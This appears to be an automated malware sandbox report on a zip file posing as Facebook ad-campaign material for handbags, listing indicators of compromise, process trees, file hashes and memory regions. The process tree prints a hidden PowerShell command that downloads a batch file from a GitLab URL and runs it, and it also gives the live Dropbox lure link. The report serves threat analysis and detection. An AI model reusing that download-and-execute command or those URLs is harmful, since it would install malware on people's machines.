hxxps://www[.]dropbox[.]com/scl/fi/r3firsxixp8h4qv69gurt/A[.]Objectives-of-Facebook-Marketing-AD-Campaign-2023-NEW-Obag-Handbags[.]zip?rlkey=7hrjxunzlesjpku1m2t8qg8gq&dl=1

Analysis

max time kernel
1800s
max time network
1690s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
19-08-2023 10:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://www.dropbox.com/scl/fi/r3firsxixp8h4qv69gurt/A.Objectives-of-Facebook-Marketing-AD-Campaign-2023-NEW-Obag-Handbags.zip?rlkey=7hrjxunzlesjpku1m2t8qg8gq&dl=1

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
59	2300	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1272	A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.scr

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133369149935295412"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3508	chrome.exe
3508	chrome.exe
4012	chrome.exe
4012	chrome.exe
2300	powershell.exe
2300	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3508	chrome.exe
3508	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeRestorePrivilege	500	7zG.exe
Token: 35	500	7zG.exe
Token: SeSecurityPrivilege	500	7zG.exe
Token: SeSecurityPrivilege	500	7zG.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe
Token: SeShutdownPrivilege	3508	chrome.exe
Token: SeCreatePagefilePrivilege	3508	chrome.exe

Suspicious use of FindShellTrayWindow 51 IoCs

pid	Process
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
500	7zG.exe
500	7zG.exe
1272	A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.scr

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe
3508	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 1820	3508	chrome.exe	82
PID 3508 wrote to memory of 1820	3508	chrome.exe	82
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 3796	3508	chrome.exe	85
PID 3508 wrote to memory of 2436	3508	chrome.exe	87
PID 3508 wrote to memory of 2436	3508	chrome.exe	87
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86
PID 3508 wrote to memory of 1672	3508	chrome.exe	86

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.dropbox.com/scl/fi/r3firsxixp8h4qv69gurt/A.Objectives-of-Facebook-Marketing-AD-Campaign-2023-NEW-Obag-Handbags.zip?rlkey=7hrjxunzlesjpku1m2t8qg8gq&dl=1
1⤵
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff847a69758,0x7ff847a69768,0x7ff847a69778
  2⤵
  PID:1820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1656 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:2
  2⤵
  PID:3796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2184 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:8
  2⤵
  PID:1672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:8
  2⤵
  PID:2436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2972 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:1
  2⤵
  PID:4064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2964 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5008 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:8
  2⤵
  PID:440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:8
  2⤵
  PID:4476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3740 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:8
  2⤵
  PID:3268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3788 --field-trial-handle=1828,i,7610650676955910666,4909468630279808265,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4012

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4216

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4612

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\" -spe -an -ai#7zMap25839:204:7zEvent27517
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:500

C:\Users\Admin\Downloads\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\1.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.scr
"C:\Users\Admin\Downloads\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\1.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.scr" /S
1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:1272
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\pub.bat""
  2⤵
  PID:3656
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -Uri https://gitlab.com/ffhfghgh03/03pro03/-/raw/main/bat1208DI1 -OutFile 'C:\Users\Public\publicc.bat'; Start-Process -WindowStyle Hidden -FilePath 'C:\Users\Public\publicc.bat'
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    PID:2300

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1009B

MD5
697c7baafa2da4fde146172c1d6f6edf

SHA1
a357abac8d24fe76546060415d432265df382ee7

SHA256
a7fa801299a98a638868b5239daf1b2f276cb60eb8a1533816fd598441726499

SHA512
d58d76421e6bff1afce791053de27841d71f8567b53303c272939645d7b292fec9589a08b9071220bdc02c22595751a65e1e947bcc7ae7e18e1fa13c9bb3aab1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
a60f0db3f815a3c582fc1280dddae680

SHA1
6a79a8507c3d1d4b8c94cab7a6ca79e31346ad84

SHA256
c3218315f4236a51c8b01e7c507f6296c5092a09df0247fef14b8875e1d9be5d

SHA512
b917e7af12efca420c69b0f3cd6ef01146f529605042941e2924176d8fd1b11585c896eeb4400289b643a9a2358387c062934c9e808b0fde137438bd4a42c618

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
705B

MD5
35611e8e82a080a85d9db266616b1d7b

SHA1
65089141bdf54b914592bbdb8de70bb896c130ef

SHA256
0dc41e959fcab67745a15033b53119fcb89a798615fd843d8ddcebf390145c55

SHA512
f11af7f23a06e325427f9bcfc8562b37265047acb27b7ce8e4d74ab32bacb90f76783bdf7a963b0dc2b5701cabf558422b78a17e439be9cb978cc714df160c58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
3b4cfaa00ea6e0a0d498c6e2f6be70b1

SHA1
62519a9815dce5a751e5312ab54afb025a5fabd3

SHA256
c01efdd68f577bcb668c62dd53460127422e6a7203797f3d6f7a8859039c4f41

SHA512
1ed5e2156450b526aeb01b56ed0217ac6fc55855e972992fa5133799671dc45d5bd633f18ca695c5c1c4798de52132f8329703636a5f619821f9a061c3dbccf1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
ce28622acba9c9a526b157d0901317b6

SHA1
5f8eb3bf1871726cc53f27db147e90a78f419d3e

SHA256
87aa2276a761c735563dd39b2863e99e1d8f8a0fa5ef1925e19de661641786fd

SHA512
4e2b30463186a701901da903d4c4eb1c381ebea7f65fde4336c01190a4226f6c141314ad4b04761d3e04ed392a441e99df06bd30e2f0a41dd48ff818b1091b3e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
87KB

MD5
5acd1a43e4e2a2544b3fbb9effaccb5d

SHA1
1e51a535fb4e1a577fbd68a5ab904f83273e4349

SHA256
8d8f1f3ef333406d20b3a83cbe27f77a4d0c3334b22ffd7c6c3ad0eca3b7703d

SHA512
70f33554857bfb71eb006bdbe28ffe6e309a43a44ad3850a2a812826381ddebcfb73e389b0b7981b53c0fe38f0cc48d39c668e6d3b3e10d0da20e88bbb11eb16

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cpghmpxr.bov.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.zip

Filesize
76.4MB

MD5
6124da1256773a5a31acfafc6987331f

SHA1
1b05d4ede09cd6ce552baad5d58cec445f5d482a

SHA256
0f335a31f59f034bed6ab913aecfcbcd149ce69845e3793aa35700092a027dcc

SHA512
7473f5bd40b092d129f281503797b1e42ed314d5f06d532bfe84d738b7301fa76fd551ad039a07c183b717e58a9f098d81fcdf36dbcda505cf1a087151fc0252

Download Submit
C:\Users\Admin\Downloads\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\1.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.scr

Filesize
803.2MB

MD5
f8ab8c5d058cc918a5fdfb984e51fca1

SHA1
e47b6d707b14fe93521e5c0dc9ad5b5a7be248f8

SHA256
403bf3af25ef91e837e818ff6ecba86b4c87c11eb50965af16e08e3c25a1bbea

SHA512
7b385634464826a404d655cb4b108dcba7ae1dbb44cfd4a01c4471911e3d4ccd4d835a552d9aa236a7737de1ac780baed9a84b803964b63e4fa371881ffeec97

Download Submit
C:\Users\Admin\Downloads\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\1.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags\A.Objectives of Facebook Marketing AD Campaign 2023 NEW - Obag Handbags.scr

Filesize
803.2MB

MD5
f8ab8c5d058cc918a5fdfb984e51fca1

SHA1
e47b6d707b14fe93521e5c0dc9ad5b5a7be248f8

SHA256
403bf3af25ef91e837e818ff6ecba86b4c87c11eb50965af16e08e3c25a1bbea

SHA512
7b385634464826a404d655cb4b108dcba7ae1dbb44cfd4a01c4471911e3d4ccd4d835a552d9aa236a7737de1ac780baed9a84b803964b63e4fa371881ffeec97

Download Submit
C:\Users\Public\pub.bat

Filesize
1KB

MD5
f007465de3ec71daa17340a7e59d6409

SHA1
6f36d8f55dafc9798656065bc2ae39b5f2b73f3e

SHA256
7089a458b3a608be4ff201be98edab1031d9c1e2ed80e93152752df14453be24

SHA512
40b6d136acf7e09753e08deedbaf997f1f86eb1e9b803031d9cc883f960ea74d2e67b395185244a92546f48edfea9d96d6427ece74c530ca87fab629f1aa1e7e

Download Submit
memory/1272-309-0x00000000079B0000-0x0000000007A99000-memory.dmp

Filesize
932KB

Download
memory/1272-321-0x0000000000E54000-0x0000000000E55000-memory.dmp

Filesize
4KB

Download
memory/1272-273-0x00000000083B0000-0x0000000008F99000-memory.dmp

Filesize
11.9MB

Download
memory/1272-274-0x0000000006710000-0x0000000006721000-memory.dmp

Filesize
68KB

Download
memory/1272-277-0x0000000006710000-0x0000000006721000-memory.dmp

Filesize
68KB

Download
memory/1272-278-0x0000000006CC0000-0x0000000006D74000-memory.dmp

Filesize
720KB

Download
memory/1272-281-0x0000000006CC0000-0x0000000006D74000-memory.dmp

Filesize
720KB

Download
memory/1272-282-0x0000000006700000-0x000000000670C000-memory.dmp

Filesize
48KB

Download
memory/1272-285-0x0000000006700000-0x000000000670C000-memory.dmp

Filesize
48KB

Download
memory/1272-286-0x0000000006760000-0x000000000677F000-memory.dmp

Filesize
124KB

Download
memory/1272-289-0x0000000006760000-0x000000000677F000-memory.dmp

Filesize
124KB

Download
memory/1272-290-0x0000000006740000-0x0000000006755000-memory.dmp

Filesize
84KB

Download
memory/1272-293-0x0000000006740000-0x0000000006755000-memory.dmp

Filesize
84KB

Download
memory/1272-294-0x00000000067B0000-0x00000000067C2000-memory.dmp

Filesize
72KB

Download
memory/1272-297-0x00000000067B0000-0x00000000067C2000-memory.dmp

Filesize
72KB

Download
memory/1272-301-0x0000000006810000-0x000000000682D000-memory.dmp

Filesize
116KB

Download
memory/1272-304-0x0000000006810000-0x000000000682D000-memory.dmp

Filesize
116KB

Download
memory/1272-305-0x0000000006DC0000-0x0000000006DFA000-memory.dmp

Filesize
232KB

Download
memory/1272-308-0x0000000006DC0000-0x0000000006DFA000-memory.dmp

Filesize
232KB

Download
memory/1272-269-0x0000000006E20000-0x00000000077A9000-memory.dmp

Filesize
9.5MB

Download
memory/1272-312-0x00000000079B0000-0x0000000007A99000-memory.dmp

Filesize
932KB

Download
memory/1272-313-0x0000000006830000-0x0000000006836000-memory.dmp

Filesize
24KB

Download
memory/1272-316-0x0000000006830000-0x0000000006836000-memory.dmp

Filesize
24KB

Download
memory/1272-317-0x0000000006DA0000-0x0000000006DA9000-memory.dmp

Filesize
36KB

Download
memory/1272-320-0x0000000006DA0000-0x0000000006DA9000-memory.dmp

Filesize
36KB

Download
memory/1272-270-0x00000000083B0000-0x0000000008F99000-memory.dmp

Filesize
11.9MB

Download
memory/1272-322-0x0000000007AA0000-0x0000000007B45000-memory.dmp

Filesize
660KB

Download
memory/1272-325-0x0000000007AA0000-0x0000000007B45000-memory.dmp

Filesize
660KB

Download
memory/1272-326-0x00000000079A0000-0x00000000079A5000-memory.dmp

Filesize
20KB

Download
memory/1272-329-0x00000000079A0000-0x00000000079A5000-memory.dmp

Filesize
20KB

Download
memory/1272-330-0x0000000008370000-0x000000000838B000-memory.dmp

Filesize
108KB

Download
memory/1272-333-0x0000000008370000-0x000000000838B000-memory.dmp

Filesize
108KB

Download
memory/1272-266-0x0000000006E20000-0x00000000077A9000-memory.dmp

Filesize
9.5MB

Download
memory/1272-265-0x0000000000E54000-0x0000000000E55000-memory.dmp

Filesize
4KB

Download
memory/2300-392-0x0000000074220000-0x00000000749D0000-memory.dmp

Filesize
7.7MB

Download
memory/2300-373-0x0000000004870000-0x0000000004880000-memory.dmp

Filesize
64KB

Download
memory/2300-391-0x0000000005D50000-0x0000000005D6E000-memory.dmp

Filesize
120KB

Download
memory/2300-393-0x0000000004870000-0x0000000004880000-memory.dmp

Filesize
64KB

Download
memory/2300-375-0x0000000004D70000-0x0000000004D92000-memory.dmp

Filesize
136KB

Download
memory/2300-376-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/2300-370-0x0000000074220000-0x00000000749D0000-memory.dmp

Filesize
7.7MB

Download
memory/2300-382-0x00000000056F0000-0x0000000005756000-memory.dmp

Filesize
408KB

Download
memory/2300-403-0x0000000074220000-0x00000000749D0000-memory.dmp

Filesize
7.7MB

Download
memory/2300-372-0x0000000004750000-0x0000000004786000-memory.dmp

Filesize
216KB

Download
memory/2300-374-0x0000000004EB0000-0x00000000054D8000-memory.dmp

Filesize
6.2MB

Download
memory/2300-394-0x0000000004870000-0x0000000004880000-memory.dmp

Filesize
64KB

Download
memory/2300-395-0x00000000073C0000-0x0000000007A3A000-memory.dmp

Filesize
6.5MB

Download
memory/2300-396-0x0000000006230000-0x000000000624A000-memory.dmp

Filesize
104KB

Download
memory/2300-398-0x0000000007AE0000-0x0000000007B76000-memory.dmp

Filesize
600KB

Download
memory/2300-399-0x00000000072F0000-0x0000000007312000-memory.dmp

Filesize
136KB

Download
memory/2300-400-0x0000000008130000-0x00000000086D4000-memory.dmp

Filesize
5.6MB

Download
memory/2300-371-0x0000000004870000-0x0000000004880000-memory.dmp

Filesize
64KB

Download